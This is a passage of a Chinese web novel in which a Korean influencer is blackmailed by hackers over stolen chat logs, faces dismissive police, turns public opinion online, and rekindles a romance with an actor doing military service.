“你比我足足高了八厘米，不穿高跟鞋这像话吗？到时候你拿着手持器拍视频，你的名品脸蛋倒是录制进去了，我就只能露个眼睛。” 她虽然只是个小网红，但她原生家庭的条件不错，父亲三星的科员，母亲教师。加上在宋玉妍的扶贫下，粉丝来到了二十多万，这让她养活自己绰绰有余。 这也就让她几乎没有来过这样脏乱差的地段。 “我们不是要去露营吗？这个店有一个药物驱虫很有效果，不然你就等着晚上被蚁虫咬得满身都是包吧。” 崔顺喜撇了撇嘴，拿着手持器，老老实实地帮宋玉妍把她和老板讨价还价的画面拍了出来。 拿到自己想要的药物之后，宋玉妍本来打算结账了，结果瞟到了一款对于跌打损伤很有效果的药膏。 她犹豫了片刻，还是把它放到了账单里面。 “我们露营为什么还要买这个药膏？” “有备无患而已。” “那你为什么要买二十几盒？”崔顺喜看着她把货架上的药膏一扫而空，很是不理解。 偶然被戳中了细微心思的宋玉妍像是有些恼羞成怒。 “我有囤物癖怎么了？” 崔顺喜小声嘟囔了一句：“有就有呗，反应这么大干什么？真的不理解，为什么放着设施齐全的露营地不去，偏偏跑到论山那边，洗漱都很麻烦。” 等买好药品之后，坐上了宋玉妍的保时捷，她才长舒一口气。 “终于出来了，感觉里面的空气都是臭的，人太多了。” 宋玉妍赞同地点了点头，在手机上提前定好了烤鸡套餐之后，启动了车子。 自从露营的告白之后，李株赫和宋玉妍一直以前男女朋友的名义，维持着朋友的相处模式。 两人之间聊天的主次地位完全反转过来之后，她每次看到李株赫发过来的可爱猫猫视频，都会忍不住放下手中的工作，秒回消息。 没办法，猫党对于这种可爱的毛绒绒就是没有抵抗力。 一来二去也让他摸清楚了宋玉妍的喜好，在完成工作之余，偶尔也会约她出来喝杯咖啡。 两人之间逐渐熟稔，但谁都没有再捅破那层窗户纸。 回去的路上，想到当时李株赫邀请了她参加不公开的入伍仪式，但是她并没有答应。 一方面是觉得都是他的亲人、朋友，在那里会很尴尬。另一方面是觉得，两人之间的关系，有些理不清剪还乱。 直到李株赫入伍这一天，宋玉妍还是没忍住在网上搜索他的消息。 只有同一个角度、寥寥几张照片爆出，带着贝雷帽，肥大迷彩服也被他用精致的脸，撑出了高定的效果。看起来不像是军人，更像是上个世纪矜贵、严谨的容克贵族。 她的手指在图片上停留了很久，最后，还是没有忍住点下了保存键。 也许是那一次搜索让大数据以为宋玉妍对服役方面的新闻很感兴趣，隔三差五给她推荐在军队被霸凌的新闻。 每每看到那些严苛的上下级制度、新人进去要受到的磋磨、还有……逃兵的新闻，宋玉妍都忍不住打个冷颤。 看过那么多有关的电影，但想到这种事情会发生在李株赫身上，还是会有些难受。所以，她决定还是去看一眼。 他接受基础训练的这两周，也让宋玉妍很不习惯，经常闪退的kkt刷不到他的消息。 他经常发的猫猫头表情包已经两个星期没有更新她的图库。也不会有人在她一直待在家里工作的时候，拉她出门喝杯咖啡、散散步。 这一切的一切都让人很不习惯。不是说21天才会养成习惯？为什么她对李株赫温水煮青蛙一般地入侵她的生活，适应只用了十几天？ 宋玉妍把订好的四只烤鸡放到租来的车后座上，药膏放到另外一个袋子里装好。在她都没有察觉的时候，心底已经对这次论山之行充满了期待。 旁边的崔顺喜看着宋玉妍忙来忙去，“这样搬来搬去你也不嫌累的慌？还有我们两个人吃四只烤鸡，是不是太夸张了？” 她只是瞪了一眼，指使她先去把车座上清洁一下，要坐的位置着重擦干净，香氛喷雾器组装好。 “我的跑车配置很高的，光是配置我就配了8000万。要是不租车的话，万一把车的底盘刮坏了怎么办？” 后面的那个问题，宋玉妍压根就没有回她，蹭人流量就要有蹭人流量的自觉。要是每个索取者，都能像她一样会说话、高情商就好了。实在不会说漂亮话的话，在某些时刻聪明地选择闭嘴也行。 一路上，乌云像是阴郁的脂肪堆积在天空上，云与云的交接处，稀薄的雾气可能会有钝炖的金光外泄。开过一段厚厚的云层，又是晴朗、一碧如洗的天空。 就像两人的心情，宋玉妍的心情就像这片湛蓝的晴空。而崔顺喜，想到后面一天类似荒野求生的露营生活，心情惨淡到不行。 今年的秋天好像要来的更早一些。枫叶的红色尚浅，然而原本褐色的地面却成了秋日的海——叶子的浅红。西北的季风不断地从江华湾吹来，枫红落在车顶又被风速挂落在地上，轮毂迅速碾了过去。 到了论山的训练基地，崔顺喜看着面前写着军事标识，像是恍然大悟了一般。 “李株赫在这里接受基础训练？不对！你们不是分手了吗？” 宋玉妍把车停好，随手掏出一粒口香糖塞进她的嘴里。虽然有点心虚，方向盘上的套子都被她拨翘边了，语气还是理直气壮的。 “毕竟现在住着的房子还是人家送的，总不能一点表示都没有吧。你在车上等我一下。” 解开安全带，推门下车，在去后座拿准备的东西之前先用了一包便携的漱口水。白茶乌龙的味道，淡淡的薄荷味和茶味混合成一股清新的气味。 在崔顺喜吃惊的目光里，宋玉妍整了整头发，拎起后座的东西向守卫道明来意。 李株赫应该是结束了一天的训练，十几分钟后匆匆忙忙地跑到大门这边来。 看到她的那一瞬间，短圆眼瞪成了小灯泡一样的形状。他本来以为会是某个粉丝千里迢迢、不辞辛苦地过来看望，完全没有想到会是宋玉妍。 这一瞬间，他的喜是大过于惊讶的。 看到他板正的制服，一看就是细心搭理过发型，宋玉妍有些幻视前段时间他发过的豹猫的视频。 优雅、属于捕猎者的狩猎感十足，看起来高傲感十足，内心却炽热。 “看到我很惊讶吗？李株赫xi？” 两个星期没有见宋玉妍，这让他的思念像是化成了茧，随着温水煮软飘散在空中。就想着这样的心绪，能够随着微风带到首尔她的身边。 他眼神专注的看着她，浓烈爱意从黑润的眼珠里迸发，像是决堤了的河水，再大、再高的坝也不能阻拦。看起来冷酷无情的薄唇，疯狂地、不自觉地上扬。 “你怎么会来？大田广域市在忠清南道最南端，离首尔不算近。” “过来拍露营视频，顺便看一下。” 要是被崔顺喜听到肯定要冷笑出声，露营选哪里不会，偏偏选这样一个没有丝毫亮点的地方。甚至连最基础的设施都不完善。 李株赫看着她手里吃力地拎着大袋子，鼓鼓囊囊的一包。连忙接了过来，十几斤的重量并不轻松。 “这是？” “哦，我露营顺路带的烤鸡和药膏，点多了，反正也没有用，干脆就给你拿去用吧。” 哪有那么多的巧合，像是感受到宋玉妍在层层包裹下掩着的心意。他的心中温软，只感觉微凉的风吹得空气里充满了温情。 “谢谢。” 翻涌的心情，最终化成这样的字音。 “我先走了。”宋玉妍面对这样的场面很是无措。虽然骗过自己一百次，只是为了露营，但心跳不会说谎。 在看到李株赫精神状态不错的那一瞬，悬着的心安定了下来。看来他过得很好，应该没有遭受那些糟糕的事情。 “宋玉妍xi，我能给你写信吗？”基础训练的这四周，是没有办法使用手机的，为了和家人、朋友……女友联络，大家都写信，贴上邮票。 已经走远了的宋玉妍转过身来，模糊的面容像是糊在一起的小点。 “你忘记了吗？你不是社会服务要员吗？” 听到这样的话，他笑了笑，那这两周的思念不通过纸张来宣泄，那又托付给风吗？ 反 正她也没有不让她写，李株赫打定主意到时候找人借信纸和邮票了。 用墨水屏打开邮件，看到仿纸张一样的邮件信时，宋玉妍心中怒火中烧。露营结束回到首尔的她，好不容易过两天轻松的日子，居然有人要挟她。 「是宋玉妍吗？我们获取了你kkt的聊天记录，如果不想被公开的话，那就用世宗大王来换吧。」 第108章 第一百零八章 「就算这样，也应该用敬语吧。」宋玉妍推了推自己的金丝边的平光眼镜一边敷衍着这封匿名邮件，一边抱着电脑准备去警局报警。 「内，是我们的问题，非常抱歉宋玉妍xi。」 看到黑客发来的十亿韩元报价，宋玉妍是真的想笑，真的太高看她了，单手敲着键盘。 「你们是疯了吧，我只是个网红不是抢劫犯。忠武路顶级演员一部电影的片酬也就七亿韩元而已。」 「非常抱歉，但是这是我们了解过您的广告报价提出来的金额，对您来说也只是六个月的收入而已。」 看到这里，她是真的被气笑了，合着辛辛苦苦六个月，帮黑客打工呗。何况网红的收入本来就有不确定性，谁能知道明天是不是就过气了。 「在我看来10亿韩元这个价格太过没有诚意了，你总不能让我六个月喝汉江水充饥吧。」 一边敷衍着勒索犯，一边快速打车。幸好江南区的警力充沛，没一会就到了固定的地点。 前台接待的警察有些无奈，“最近这样的案子怎么此起彼伏，今天还有一个男艺人说自己的ins也被盗了。” 听到这里让人觉得，这是一起团体作案。如果黑客只是一个人的话，是不会有这么多精力一个个联系受害者的。 宋玉妍用手机的一个角在白色的桌板上轻轻敲了敲。 “那这样锁定目标的定位，大概要多久。” 接待的那位警察没不太能给她一个确切的答复。如果只是个体作案，那还好一点，但是依照他的经验来看，十有八九有预谋的团队作案可能性更强。 他让她去另外一个警察局，那边信息分析科技术更加全面，并案的话也会更加好处理。 重新打了个车，宋玉妍看着路牌不断指向汉南大桥。 手上的电脑又收到了邮件，是她之前穿着ck胸衣，露着马甲线和蜜大腿的照片。 「10韩元对于一个顶级网红的名誉来说，并不能算贵不是吗？宋玉妍xi。」 看着这张她之前给李株赫发的图片，她是不觉得自己有做错什么。但随后原主和不同男人的聊天记录、姜升润之间的调侃被不断发过来，这就让人有些心烦意乱。 「花蛇的名声多不好听啊！一旦被爆出，你损失的商务推广费都不止这么一些。」 宋玉妍盯着屏幕上的图片有些失神，开始考虑。如果她不承认这个账号的主人是她，这些聊天记录的主角也不是她，会怎么样？ 「网友并不是傻子，你只把这些图片放上来，只会觉得你在造谣。」 「这么多正脸照还不够锤吗？宋玉妍xi好好考虑一下吧。」 到达另一个警局门口，有人指引她去做笔录。里面的警察个个双眼涣散，都像是很久没有睡好，眼底的青黑十分明显。 韩国的警察就是检察官的附庸，权力没有很大，杂活倒是不少。编制只有那么多，导致每个人都是超负荷工作。 年纪大的那位中年男性看到宋玉妍进来，紧紧地皱起了眉头。这样一天到晚只会吃喝玩乐的网红，除了给他们增加工作量还能干什么？ 他完成了基础的问询之后，给她录好了信息。 宋玉妍离开之前随口问了一句：“请问锁定嫌疑人大概要多久呢？” 这样的意外会拖累她正常的工作进度，黑客可以入侵她的kkt，自然也能获取到她其他的社交软件上信息。 “如果宋玉妍xi你没有什么见不得人的聊天记录，又怎么会被要挟呢。” 听到他这样莫名其妙的大放厥词，宋玉妍简直要被气笑了，一瞬间站了起来，在高跟鞋的加持下几乎是俯视着对方。 “你对另外一个受害者河政宇xi也是这样说的吗？” 锐利的目光像是要把他的制服剥干净，对上她的眼睛都快要让人无所遁形。 宋玉妍早就听说，很多时候韩国女性受到了伤害选择不报警，是因为防止二次伤害。因为警察细致、粗暴地讯问过程，会让她们很不适。 “呀，男性和女性怎么能一样？他在忠武路有过那么多代表作，名誉权当然很重要。” 这个爱男的世界是真的是让人恶心，宋玉妍看着他的警号，掏出手机。 “你刚刚说的话我都录制下来了，我会投诉你的，也会发到网上。毕竟你说的话要是没有问题的话，怎么会怕人曝光？” 听到宋玉妍这样强势地怼了回来，这位中年警察一时间有些没有反应过来。看到她已经拧开了房间的门，猛地站了起来，还带倒了旁边的椅子。 “你等等。” 刚刚她说她的ins粉丝是有多少来着，200多万还是300万。相当于每20个韩国人就有一个关注了宋玉妍。 想到这里，他黑黝的脸上一白，嘴唇所剩无几的血色也褪去了。 不管他在背后的声音，宋玉妍大步流星地离开了，但是马上被另一位警察拦了去路。 “抱歉宋玉妍xi，是我们有些地方没有做好。我是公共关系科的科长，有什么你可以和我沟通。” 她转过身来，注意到帮忙做笔录的警察也迅速朝这边走来。 宋玉妍漫然道：“你总不能因为我的手里拿着镜头，才会好好坐下来和我说话吧！” 对于那位警察的态度和语气，都十分恶心。穿越这么多世，第一次和暴力机关打交道的她，属实是被气到了。 当下宋玉妍什么没有说，拿起手机对着这个警局的标识开始录制视频，关于她的遭遇、被粗鲁的对待。 她算是看明白了，这群人指望不上。 回到家，发现黑客迫切地给她又发了邮件，宋玉妍勾唇笑了笑。既然最着急的不是她，那就慢慢思索对策好了。 犹豫了片刻，还是给崔宝祯打去了电话，简明扼要地把事情的来龙去脉给说了清楚。 “他要钱，那就给他好了，不过是十亿韩元而已。” 听到对方这轻飘飘的话语，让她的血液像是被冻住了一般。嘴唇嗫嚅了好几下，都没有声音发出来。 吞咽了好几下，才把情绪压制了下去。宋玉妍：“可是十亿韩元对我来说并不是一笔小的数目。” 她的卡上，也不过只有一半而已，花销又大还要还车贷。满足敲诈者的欲壑难填不过是饮鸩止渴而已。 “崔会长从来不给我零花钱的，你也知道。况且这么一大笔流动资金，对我来说也很难和妈妈解释去向的。” 她的声音依旧不疾不徐，咬字清晰可见，像是古代朝鲜两班贵族的口音。 “她们……不是朋友吗？”宋玉妍很想张开口问一问，但还是没有开口。 只是崔宝祯每次表现出来的亲近，让她逐渐有了错觉。好像对方真的把她当朋友，纳入交友圈了。 但其实并不是那样，崔宝祯一次都没有向她介绍过圈内的人脉。同样，每次宋玉妍付出了什么，她都会以物质来汇报。 可能为的就是这样一天，如果宋玉妍真的需要借助对方的人脉，崔宝祯不会让她有机会开这个口的。 不愧是……财阀啊，她拿着手机苦笑了一下。她和那些利益至上的冷血怪物如出一辙，区别可能是看起来更加亲近一些。 其实这件事情对她来说也还好，没有想象中的影响大。实在不行就专攻种花市场，原主的心愿肯定可以达成。 只是那一层自以为是的表皮被撕了下来，不管是前期借助炒作扩大名气。还是以为被财阀子弟真心接纳，现在都遭到了反噬罢了。 “崔宝祯xi，你能不能。”宋玉妍想说对方能不能帮帮忙， 虽然知道这样的可能性很小，但还是抱着万一的心态。 “抱歉啊，这边《蛇女》要开机了，我要去现场盯一盯。”说完，崔宝祯利落地把手机给挂了。 挂了电话的人在心底叹了口气，虽然有点难受也有些遗憾，后续和宋玉妍估计不再会有交集了。普通人就是这样，容错率很低，踏错一步，就不会再有改变阶级的机会。 崔宝祯的手指在ins上划拉着，想要寻找新的，可以和她一起拍视频的合作对象。对于她的欣赏不是假的，只是未来议员身上不能有污点。 看着被挂断的电话，宋玉妍怔怔地看着屏幕。以后这个电话再也不会打通了，她只觉得讽刺。就像是《蛇女》，剧本和名字都是她选的，但是和她都不会有关系了。 第二天 「宋玉妍xi，您有考虑好了吗？」 「10亿韩元真的太多了，就不能少一点吗？」 「真的不行。」 「……」 第三天 「宋玉妍xi，如果您再不答应的话，那我就只能把这些图片公开了。」 「同时和很多男人聊天，这不算什么吧。就算是date，那不也是稀松平常的事情吗？」 宋玉妍装作毫不在意的样子。 「花蛇的名声，可是会影响品牌方对你评估。商务推广减少，网友不买账商品，对造成的收入影响会远比10亿韩元多。」 「那我试试吧，说实话，10韩元的现金一时半会拿不出来。」 看到她同意了，黑客也是舒了一口气，能拿到钱就行，时间多多少少也能宽限一点。 宋玉妍这边打定主意拖延时间，写过了好几版的预演脚本，都不太满意。 第七天 「宋玉妍xi，虽然这样很冒昧，但还是想提醒一下，您的钱款筹到了吗？」 「你以为10亿韩元是大白菜吗？我能够随随便便拿出来？」 「 只是我们这边怕您和警察接触，时间越长风险越大。您也体谅体谅我们吧。」 「那我把那些爱马仕的包、宝格丽的珠宝和劳力士的表给你寄过去，你去找买家。」 第109章 第一百零九章 在第十天，黑客终于察觉到不对劲了，连忙给宋玉妍发消息：「你这边钱还没有凑齐吗？」 宋玉妍看到签订好的对赌计划，有些暧昧地勾了勾嘴角。 幸好有了这次的风波，才能给她原本惫懒的心态敲响了一个警钟。是她有些东西来的顺风顺水，居然习惯了先走捷径的思维定式。 借力借多了，让她脑子都生锈了，实在是从李株赫、崔宝祯身上得来的东西有些过于容易了。 「随意吧，十亿韩元我是凑不出来。」 黑客随后又继续给她发消息，看到宋玉妍一直不回，知道她也许是真的不打算交易之后，开始慌了。 「我们在再商量一下，价格好说的。你看五亿韩元怎么样？」 已经想到对策的宋玉妍，完全不觉得她自己的聊天记录能够值得那么多的世宗大王。 她的手指打开ins，摁到快拍的那一栏，把被要挟的那一张火辣的照片贴了上去。姣好的身材曲线像是优美的雕塑，无法遮蔽所有裸露的肌肤在灯光下散发着白皙的光泽，若隐若现的马甲线看起来更具力量和生命力。 最出格的是宋玉妍的姿势，手指微微拉扯着ck标志的侧腰带，看起来有种别样的性感。 配上的音乐是经典的女权主义歌曲《labour》，一部分网友点开她头像看到这样的照片几乎以为她疯了。 虽然网红的地位比爱豆还要低，但是这样看起来擦边的照片不符合宋玉妍的粉丝数。作为头部网红之一的她，完全不需要靠擦边来博取流量。 “24小时的生育机器，让他美滋滋地过上理想生活……” 看到网友在下面问她到底怎么回事，先发制人的宋玉妍没有立刻回复评论，而是在ins上发了这样的一段话。 「身体是我自己的，我有权利决定它穿什么样的衣服，给什么样的人看。裸露的羞耻，不过是社会加注在女性身上的枷锁。至少不会有一位男士会因为自己的私密照被人胁迫，也不会有人对他的身材评头论足。」 她在这一段的帖子里加上了metoo的话题，不管怎么样先把水给搅浑，分散网友的注意力。 等敲诈者联系好媒体，准备发布宋玉妍“脚踏多条船”的聊天记录时，却发现并没有多少人在意。只有一部分人，把注意点放在她的私生活上。 这样的聊天尺度放在女爱豆身上，是足够毁灭她职业生涯。但对于女网红来说，并没有那么重要。何况她本身在ins上的聊天记录，比这要出格多了。 看到剧情的进展不如他想象中的顺利，黑客想到另一位还没有打钱的金主——河政宇。如果男艺人看到这种公关的手段，怕是更加不会老老实实给“赎金”。 想到这里，他咬了咬牙，把报社给的爆料费用来给宋玉妍买黑热搜，准备杀鸡儆猴。这样倒是上了韩世趋的中部位置，在不只有她的粉丝看到之后，引起了更大的水花。 宋玉妍看到在热搜榜上，她的词条节节攀升帖子也在不断增加的浏览量，近期郁闷的心情被一扫而空。 她眼疾手快地开启了，粉丝必须关注超过七天之后才能在下面评论的权限。 随后发布了早就录制好的视频。素面朝天，原本精致锐利、具有攻击性的五官，在她刻意地涂红眼尾、鼻头，眼睛里面满是水光，看起来多了一份楚楚可怜的感觉。 “关于我的个人信息被盗窃的事情，我在十天之前就受到了要挟。” 宋玉妍一边说，一边把和黑客的各种聊天记录都放了出来，纤细细嫩的手指不断地在屏幕上面划拉。保证每一段记录，都能充分地被镜头拍到。 “在出现这样情况的第一天，我秉持着对公权力的信任，第一时间就前往了江南区警局报警。虽然在那里，没有收到想要到底结果，但是还是得到了很好的对待。后面辗转去另一个警察局，耗费了一整个下午，我既要和敲诈者周旋，又要认认真真配合警察的工作。” 宋玉妍说到这里像是鼻头一酸，垂着头强忍着泪意，让自己的情绪不要过于外放。她打开手机的录音，那位警察的原原本本的话语被放了出来。 “如果宋玉妍xi的聊天记录没有什么见不得的，又怎么会被要挟呢？” 河政宇的名字被她消音了。 “男人个女人怎么能一样呢……”中年男人爹味十足的说教，作为警察对于受害者的“审判”，听起来让人不适感很重。 她蜷缩在沙发和茶几的空隙之中，镜头外精心调制过的灯光映照着她苍白、无一丝血色的面容。干裂起皮的嘴唇和眼下的青黑看起来十分真实，脱去了光鲜亮丽的妆容，这让她看起来更加好亲近。 “我没有想到我的信任换来的是无端的指责，对于工作再辛苦，我也觉得也是应该的。但是不能忍受有人能够靠着几张所谓的聊天记录，攫取我的劳动成果……” 宋玉妍说着说着像是委屈又愤怒，胸口不断地起伏，里面的心脏在急剧地跳动。放在茶几上的双手，几乎是抑制不住地一个劲颤栗着。 视频的最后，以她从眼睑下落下来两滴又大又圆的泪珠结尾。 发布之后，原本针对她是花蛇的言论，转变到对于性别议题和阶级矛盾上。 公众人物面对这样的事情尚且如此无能为力，那普通人呢？还能怎么样得到警察好的对待？怎么样维护自己的权益？ 虽然还是有一部分极端地言论在骂她，认为她就是个花蛇，只靠男人上位。但是这一部分的言论对她来说并没有什么影响，只是叫嚣的声浪比较大罢了。 有些烦恼的是，这段时间的商务还是受到了影响，新的商务几乎是没有。原定的推广，绝大部分都是赔违约金走人。南韩对于各种事态的敏感性完全不一样，品牌方很谨慎，不知道那一点会踩到网友的雷点，从而被抵制。 cilo公关部刷到了这样的消息，立刻给职业经理人看。 他们之间签订的对赌合同没有关于形象损失这一条，相当于是被宋玉妍打了个信息差，给摆了一道。 职业经理人看到这样的消息，内心嗤笑，名气带来的膨胀果然会让人飘。她这一切来的太容易了，并不知道这样的行为，但凡有一丝踏错。就会背上巨额债务。 不然沉浮商海那么多年的他，为什么不选择购入股份？实在是普通人，没有试错的资本。 「宋玉妍xi真的是打得一手好算盘，难怪 这么积极地推进对赌协议。」 只能说这个人心机深沉，靠着贷款和帮忙开拓市场的条件，提前拿下了百分之十的股份。 宋玉妍：「我以为你们会更加看中结果，只要市场份额变大，结果是好的就行。」 对于cilo这个品牌来说，怎么样都不亏。如果她完成了让品牌来年的收益达到70亿韩元，品牌的股份就能更加值钱。要是完成不了，coli就可以以远低于市场的价格，收回她手上的股份。 「所以，您打算怎么做？」 这样的风波闹得，势必会影响宋玉妍账号的推广效果，相应的营业额也会大打折扣。 她把目光看向海的那边，17年种花的美妆市场还是一片红海。韩国品牌只要放下傲慢的身段，总能在那片土地上挖到新的金矿。 「商业机密。」宋玉妍一边夹着电话，一边收拾行李，把准备好的样品小心包装好放进去。 桌上种花各大美妆连锁店的报表分析被她用笔划出了重点，因为翻阅太过，第一页的纸张卷边很严重，最下方的报表都看不清晰了。 其中最大的就是丝芙兰和屈臣氏，如果要合作的话，只会在这两个里选择。前者大多都是大牌的彩妆、香水，近年来也是不断地引入开架品牌，和后者抢占市场。 宋玉妍都给发了邮件，两边的兴趣都不算高涨。但商业不都是这样的吗？没有落在谈判桌上，谁也不知道最后的结果会是怎么样！ 飞机从首尔的天空起飞，奔向海那边的魔都。湛蓝的天空转为夕暮的晚霞，被机翼划过，寂然耸峙的秋云，时不时的在舷窗边飘过。 和coli公布第三季度财报的同时，yg面对自家艺人的“绯闻”也发出了公告。 这一次终于不是类似于“艺人的私生活公司也不清楚”、“具体的情况还在跟进中，如果是真的那就祝福”这一类的说辞。 「关于我司旗下艺人姜升润xi和宋玉妍xi之间亲密关系的传闻，并不属实，据悉两人只是关系亲近的朋友。」 「关于我司旗下演员李株赫xi和宋玉妍之间的恋爱传闻，后续会继续跟进，不排除以后两人会有更近一步的发展。」 看到这样连续的两条回应，网友纷纷炸锅了。 「这是什么意思？明明姜升润都立刻否定了，为什么李株赫的澄清还是这样模糊不清？」 「难得啊，yg的公关部居然在48小时内发了申明，我还以为这次公司又会装死呢。」这是担姜升润的，就算被澄清了绯闻，狗公司也该挨骂。 「还能是为什么，李株赫和宋玉妍肯定是谈了，绯闻都传过好几轮了。yg对于这种恋情瓜一向都是不回应、不澄清、不否认的，这次算是承认了。」 「就我一个人发现世趋最后一个词条，coli的财报披露，跟着被扒出宋玉妍变更为这家公司的第三大股东了吗？」 「她不是出生于济州岛的一个小渔村吗？哪里来的那么多钱去购入股份？」 「当网红也赚不了这么多钱啊，就算她吸金能力强，但30亿韩元也太夸张了。」 …… 这下网络上的注意力完全被转移了，几乎是不会停留在宋玉妍是“花蛇”、脚踏几条船上。 掐过几轮性别议题和阶级矛盾的网友继续掐，剩下的几乎都是在关注她怎么摇身一变，成为coli的股东。以及李株赫多年以来，最锤的恋情上。 下了飞机的宋玉妍看到网络上的风评转向，松了口气，终于从舆论的风暴中心脱身。只要低调过这段时间，剩下的资源都会慢慢回来。 但是yg家的那个公告简直是让人无语，几乎是一脚又把她又踹回风暴里。 「前男友、已分手、没想蹭。」 在ins上发了这样的一个帖子之后，她把韩国的电话号码给取了下来，专心致志地准备工作的事项。 第110章 第一百一十章 「这应该是第一次有网红，着急和大势演员撇清关系吧？」 「宋玉妍之前直播的时侯不是说了吗？她只向上社交。现在她和李株赫的ins粉丝数差不太多，对她来说没有用了的男人，还有必要扯上关系？」 「可是李株赫不是江南太子吗？他的时尚资源在韩国算得上是第一圈层，这条件很不错了吧！」 「他家里的财富并不代表会是他自己的，至于时尚资源怎么说呢，宋玉妍是网红，不是艺人，时尚资源对她的加成不大。」 「不是，你们就这么理性地开始讨论李株赫对于宋玉妍有没有用？明明他的名品美貌更加出圈不是吗？要是有一个这样好看的男友，这对眼睛多好！」 「在财富面前，美貌不值一提。」 「只有我觉得李株赫很惨吗？唯二两段公开的恋爱都被女主甩。」 「感觉这位和金珉喜有点像，都是野心勃勃、不折不扣地关种花蛇呢！kkk」 「楼上的粉丝别太好笑，宋玉妍再怎么样都没有破坏别人的家庭。她date几个男人那是她的事情，更何况她还没有，你家艺人看起来才是放不下的那个。」 「就是，欧尼这么漂亮，多谈几次恋爱怎么了？不找丑男对我的眼睛很好。」 …… 远在种花谈生意的宋玉妍，当然不知道南韩的网络上的纷纷扰扰，进入工作状态之后，她就只用临时的电话卡。就连崔顺喜这段时间都联系不到她，想要找人都找不到。 而从基础训练里脱身的李株赫，一刷网络就看到自家公司发表的申明，只觉得眼前一黑。 几天前，他听经纪人说宋玉妍在网络上遭受的攻击之后，当即就和他沟通了。 当时他的原话是什么？ “如果闹的太大的话，公司可以承认两人之间的恋情，把时间线给模糊掉就好。如果对宋玉妍影响不算大的话，那就保持着一贯的公关作风就好。” 当时李株赫想的是，事态如果太严重了，就借着承认恋情的机会转移一部分网友的攻击。反正他现在在服役，外界舆论的影响也不算太大。 但是没有想到yg的公关部，居然会在事情快要解决的时侯出来澄清，还给他和姜升润都买了热搜。 有的时侯他真的觉得自家公司公关部的很多操作，都像是多拿了一份sm公司的工资一样。 默默地把行李收拾好，同期兵有 些要去朝韩前线的部队，有些要留在后勤部队。而他很幸运地是公益兵，以后每天只要定时定点去工作地点打卡就好。 毫无留恋地离开这个他待了四周的地方，门口的拐角处家里的车辆停在那里。不是招摇的宾利，也不是他的保姆车，而是家里的日常出行开的黑色jeep。 他一上车，把东西放好之后就和驾驶位上的母亲说：“偶妈，我有女朋友了。” 李株赫妈妈打着方向盘的手顿住了，像是运行中的齿轮卡了一下，随后面色如常地开上了公路。 网上的消息她也看到了，在李株赫没有主动说之前，她也就当不知道。 “人家不是在ins上否认了？你们之前在一起的时侯不和家里人说，现在分手了还和我说？”说实话，对儿子的这位伴侣她是不算满意的。原生的家庭条件太差，在网上的处事风格太招摇，看起来不像是会好好照顾家庭的类型。 济州岛出身，连大学都没有上过，两人在精神层面的差距太大了。唯一比较满意，可能就是外貌，她喜欢浓颜立体的长相，找的丈夫也是这种类型。 他们家基本上都是这类型的长相、五官立体，这一点宋玉妍看起来倒是登对。 “迟早都会再在一起的。”第一次的声音有些小，因为李株赫心不在焉。 他在想为什么会一直联系不上宋玉妍？之前发生事情的时侯，托经纪人帮忙联系，消息就像是石沉大海。现在拿到手机，他自己联系对方也一直都没有回，是在生气吗？ “什么？” 知道母亲没有听清，他把车窗摇上去，又重复了一遍。 听到这样的话，李株赫的母亲很久没有开口，没有表明自己的立场，同意或是反对。 副驾上的男人，把目光放在前方，望向远处缓缓蜿蜒而去的公路。 秋日里即将收获的丰穰稻田，排排而立的树木，林荫里杂草丛生的小池沼，空中偶尔急乱捆在一起的电线，不远不近处错落而座的房屋，小河。 从首尔到论山再从论山训练好出来，都像是梦一样快速。一个月的记忆，没有给李株赫留下什么浓墨重彩的一笔。 除了……那天宋玉妍站在军事基地门外，向他招手的那一幕。明明手里的东西很重，但是她还是都换到了左手上。 那日的秋风像是夹杂着落叶的气息，看到的身影那一刻他很难形容自己内心的感受。 好像后面两周的时间，都没有那么难捱了。室友似有似无的针对、同期兵暗暗的排挤，都变成了黑白的画卷，唯一浓艳的颜色就是她。 “你确定吗？你们两个之间的差距很大，且不说出身背景、性格。我和你欧爸除了江南的几栋房屋，什么都不能给你留下。和她在一起的话，你会过得很辛苦。” 就南韩这种程度的卷法，除了财阀，谁也不能保证自己下一代人的阶级会不会有变化。富豪可能变中产，中产也有可能落到底层。只有付出全部的努力，才能才能维持现有的生活。 教授希望自己的儿子依旧是教授，三星的课长希望自己的儿子依旧的课长，富豪自然也希望自己的儿子继续会是富豪。 “偶妈，你说这些干什么。”李株赫有些无奈，像是才反应过来，磁性的嗓音反驳地并没有很迫切。 偶妈和偶爸才在一起的时候，偶爸可是刚来首尔都没有坐地铁钱的穷小子。那个时候，她也没有考虑这些，怎么到他这里，就开始讲究物质那些了。 听到李株赫这样熟悉的坚定话语，她撇了撇嘴角。那番话她的家人也和她说过，李株赫的回答也曾是她的回答。她家人就喜欢这种类型的，没办法。 “你自己喜欢，考虑清楚就好。” “考虑清楚了，现在就签合同吧。”宋玉妍带着营业性的微笑，看着屈臣氏的负责人。 最终还是在两个美妆连锁品牌里选择了他们。没有办法，丝芙兰太过于高傲了。坐拥无数大牌的代理权，自然看不上cilo这样一个新兴美妆品牌。 “分成比例真的不能再往下调一调吗？”屈臣氏的负责人后槽牙都快要咬碎了。 只能说这位合作者实在是过于巧舌如簧，一口一个市场份额减少、收益下滑。让他一个明年都要被调走的负责人，都开始焦虑起来。 “我们前期的投入工作，包括平面广告的拍摄、宣传海报的制作设计，这都是要投入的。” “好吧。”屈臣氏的负责人没有办法了，主动伸出手。“您有这样的毅力，做什么都会成功的。” 他实在是被堵怕了，连班都不敢上。和宋玉妍见了第一面，差点被她哄得当场签订了合约。 确定好合同后，宋玉妍松了口气，对一年之后的对赌协议有了一半把握。和cilo那边说好，把货品送过来之后。 她就开始盯着货品陈列设计、海报拍摄、制作、开设字母站账号、搬运之前的视频配上字幕，不知不觉中半个月过去了。 在回首尔的候机室里，把电话卡重新插入，一瞬间几百个未接电话弹出。其中最多的就是李株赫，想到他，宋玉妍的面容忍不住柔和了下来。 素手轻点，回拨了过去。不到两秒，电话就被接通了。 “宋玉妍xi，对不起，你……”他本来想问问她是不是生气了，喉结滚动了好久。看着他面前的大酱汤，瞬间没有胃口。 听到他低沉的声音，宋玉妍的身体像是泡过了温水，疲惫被洗涤一空。 “我很想你。” “我很想你，李株赫xi。”她又重复了一遍，犹如情人之间呢喃的温柔，这打了电话那头的男人一个措手不及。 魔都的浦东机场很大，大到她要坐着连接航站楼与航站楼之间的快线，等了半个小时才到达休息室。 但听到李株赫声音的那一刻，她忽然就忽略了yg家愚蠢的操作。面前浮现起露营时，那张逆着夕阳光的脸。或许一直漂泊着的灵魂，能在临时的港湾停留着一阵也好。 